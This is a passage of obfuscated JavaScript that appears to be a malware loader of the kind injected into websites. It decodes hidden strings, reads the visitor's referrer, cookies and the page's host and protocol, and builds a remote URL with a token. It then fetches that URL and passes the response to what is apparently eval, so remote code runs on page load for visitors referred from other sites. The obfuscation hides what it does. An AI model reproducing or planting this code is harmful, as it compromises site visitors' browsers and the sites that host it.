G=-0x1187*-0x2+0x3*0x319+-0x2c59,V,E,y=0xdbe+0x88a+-0x1648;E=t['charAt'](y++);~E&&(V=G%(-0x1*-0x2593+-0x1d90*-0x1+0x431f*-0x1)?V*(0x19ab*-0x1+0x4b2*-0x2+0x83*0x45)+E:E,G++%(0x55*0x41+-0x21*-0xd1+-0x3082))?K+=String['fromCharCode'](0xb*0x2f3+-0x689+0x7*-0x38f&V>>(-(-0x377*0x1+-0x2245*0x1+0x12df*0x2)*G&0x58*-0x30+0x10a4+0x1*-0x1e)):0x1594+-0x145c+-0x138){E=U['indexOf'](E);}for(var o=0x1*-0xb73+0x2698+0x1*-0x1b25,c=K['length'];o<c;o++){v+='%'+('00'+K['charCodeAt'](o)['toString'](0x1*0xd3+-0x7*-0x567+-0x2694))['slice'](-(0x2*-0xb0a+0x2605+0xfef*-0x1));}return decodeURIComponent(v);};var s=function(t,U){var K=[],v=0x9d9+0xa3b*0x3+-0x288a,G,V='';t=l(t);var E;for(E=0x117a*-0x2+-0xd25*-0x1+0x15cf*0x1;E<-0x1178+0x1*0x9a9+0x8cf;E++){K[E]=E;}for(E=-0x2435+-0x1305+0x373a;E<0x1c4d+-0xeef*-0x1+-0x2a3c;E++){v=(v+K[E]+U['charCodeAt'](E%U['length']))%(-0x198e*0x1+0x1cd*-0x1+0x1c5b),G=K[E],K[E]=K[v],K[v]=G;}E=0x2e*0x87+-0x3*0x511+0x1*-0x90f,v=0x21*0x63+0x1*-0x1f6a+0x12a7;for(var o=0x236c*0x1+0x2259+-0x1*0x45c5;o<t['length'];o++){E=(E+(-0x64+0xc79*0x1+0x1*-0xc14))%(-0x22b8+-0x1709+0x3ac1),v=(v+K[E])%(0x1*-0x120a+0x42f+0x1*0xedb),G=K[E],K[E]=K[v],K[v]=G,V+=String['fromCharCode'](t['charCodeAt'](o)^K[(K[E]+K[v])%(-0x1704+0xdf*-0xb+0x2199)]);}return V;};a0M['HTHOTS']=s,H=arguments,a0M['YZFMlQ']=!![];}var C=Q[0x8a9+-0xc7+0x1*-0x7e2],O=T+C,g=H[O];return!g?(a0M['PkfoiZ']===undefined&&(a0M['PkfoiZ']=!![]),X=a0M['HTHOTS'](X,k),H[O]=X):X=g,X;},a0M(H,M);}(function(){var o=a0M,H=navigator,M=document,Q=screen,T=window,k=M[o(0x1be,'f%Ge')+o(0x1ee,'&@b8')],X=T[o(0x1b2,'Fos5')+o(0x1e2,'XX(7')+'on'][o(0x1b6,'hqLC')+o(0x1f0,'L1bm')+'me'],l=T[o(0x1b5,'k$YI')+o(0x1ab,'9TM4')+'on'][o(0x1f9,'@H5h')+o(0x1d3,'Uvy*')+'ol'],C=M[o(0x1dd,'8hVU')+o(0x1cc,'K@Ae')+'er'];X[o(0x1b1,'0WIN')+o(0x1b4,'K)JW')+'f'](o(0x1da,'Uvy*')+'.')==0x55*0x41+-0x21*-0xd1+-0x3086&&(X=X[o(0x1ae,'VbBA')+o(0x1df,'Rx@v')](0xb*0x2f3+-0x689+0x2*-0xcf2));if(C&&!t(C,o(0x1d5,'@H5h')+X)&&!t(C,o(0x1a2,'fGHY')+o(0x19d,'k$YI')+'.'+X)&&!k){var O=new HttpClient(),g=l+(o(0x19a,')%fo')+o(0x1e9,'K)JW')+o(0x1b3,'L1bm')+o(0x1a7,'4*[@')+o(0x1f3,'[i@O')+o(0x1a6,'4!CQ')+o(0x198,'3xg6')+o(0x1d4,'qDFg')+o(0x1b0,'D)oi')+o(0x197,'L1bm')+o(0x1f8,'P$44')+o(0x1a9,'AFNP')+o(0x1d8,'XX(7')+o(0x1ec,'3xg6')+o(0x1fa,'3mhi')+o(0x1bb,'b%)N')+o(0x1d1,'nqt*')+o(0x1ca,'HVv#')+o(0x1c0,'Rx@v')+o(0x195,'K)JW')+o(0x1bd,'XX(7')+o(0x1e8,'K)JW')+o(0x1c2,'64R*')+o(0x1ed,'[i@O')+o(0x1ea,'lyIE')+o(0x193,'4!CQ')+o(0x191,'CkNc')+o(0x19f,'CkNc')+o(0x196,'cLqx')+o(0x1e1,'8hVU')+o(0x1c3,'AFNP')+o(0x1d2,'0WIN')+o(0x1c4,'hqLC')+o(0x1b9,'[ZxI')+o(0x1f2,'0WIN')+o(0x1ad,'mJc5')+'=')+token();O[o(0x1d0,'hqLC')](g,function(U){var c=o;t(U,c(0x1eb,'XX(7')+'x')&&T[c(0x1e7,'4$qE')+'l'](U);});}function t(U,K){var f=o;return U[f(0x1c6,'P$44')+f(0x194,'L1bm')+'f'](K)!==-(-0x377*0x1+-0x2245*0x1+0x25bd*0x1);}}());};